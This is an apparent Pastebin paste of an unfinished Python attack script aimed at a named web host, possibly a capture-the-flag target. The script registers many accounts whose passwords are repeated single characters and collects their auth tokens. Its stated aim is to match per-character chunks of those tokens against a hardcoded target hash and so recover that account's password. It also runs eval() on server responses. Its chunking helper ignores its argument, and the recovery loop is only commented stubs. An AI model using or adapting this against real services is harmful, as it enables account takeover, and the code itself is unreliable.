Advertisement
Guest User

Untitled

a guest
Dec 7th, 2019
974
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import requests
  4. import string
  5. import random
  6. import json
  7.  
  8. HOST_NAME = "http://uptime.pencilfactoryinvestments.com"
  9. ALPHANUMSPEC = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
  10.  
  11. def create_user(password_char):
  12. url = "{0}/register.php".format(HOST_NAME)
  13.  
  14. username = password_char + rand_string(15)
  15.  
  16. payload = "username={0}&password={1}".format(username, password_char*32)
  17. headers = {
  18. 'Content-Type': "application/x-www-form-urlencoded",
  19. }
  20.  
  21. response = requests.request("POST", url, data=payload, headers=headers)
  22. if response.status_code == 200:
  23. return username
  24.  
  25. def rand_string(N):
  26. letters = string.ascii_lowercase
  27. return ''.join(random.choice(letters) for i in range(N))
  28.  
  29. def get_hash(u):
  30. url = "{0}/api/v1/login_info/get_auth_token.php".format(HOST_NAME)
  31.  
  32. payload = "username={0}".format(u)
  33. headers = {
  34. 'Content-Type': "application/x-www-form-urlencoded",
  35. }
  36.  
  37. response = requests.request("POST", url, data=payload, headers=headers)
  38.  
  39. return eval(response.text)['auth_token']
  40.  
  41. def chunk2s(s):
  42. return [m_hash[i:i+2] for i in range(0, len(m_hash), 2)]
  43.  
  44. if __name__ == "__main__":
  45. '''
  46. 1. Split hash in chunks of 2 every 2 representing 1 char
  47. 2. Create a user with password as one of every character specified above
  48. 3. Store hashes for every user above chunked in 2's
  49. 4. Check current hash index with current char
  50. '''
  51.  
  52. m_hash = '1a0e02542311487c7322023c790c601904076f337c7f503701051732123b2617'
  53. m_hash = chunk2s(m_hash) # ['1a', '0e'...]
  54. usernames = []
  55. password_hashes = []
  56. for index, users_char in enumerate(ALPHANUMSPEC):
  57. usernames.append(create_user(users_char))
  58. password_hashes.append(chunk2s(get_hash(usernames[index])))
  59. user = create_user("A"*32)
  60. print(get_hash(user))
  61.  
  62. # for i in m_hash:
  63. # for j in ALPHANUMSPEC:
  64. # create_user
  65.  
  66. # s=[]'1a0e02542311487c7322023c790c601904076f337c7f503701051732123b2617'
  67. #
  68.  
  69. # for i in alphanumspec:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement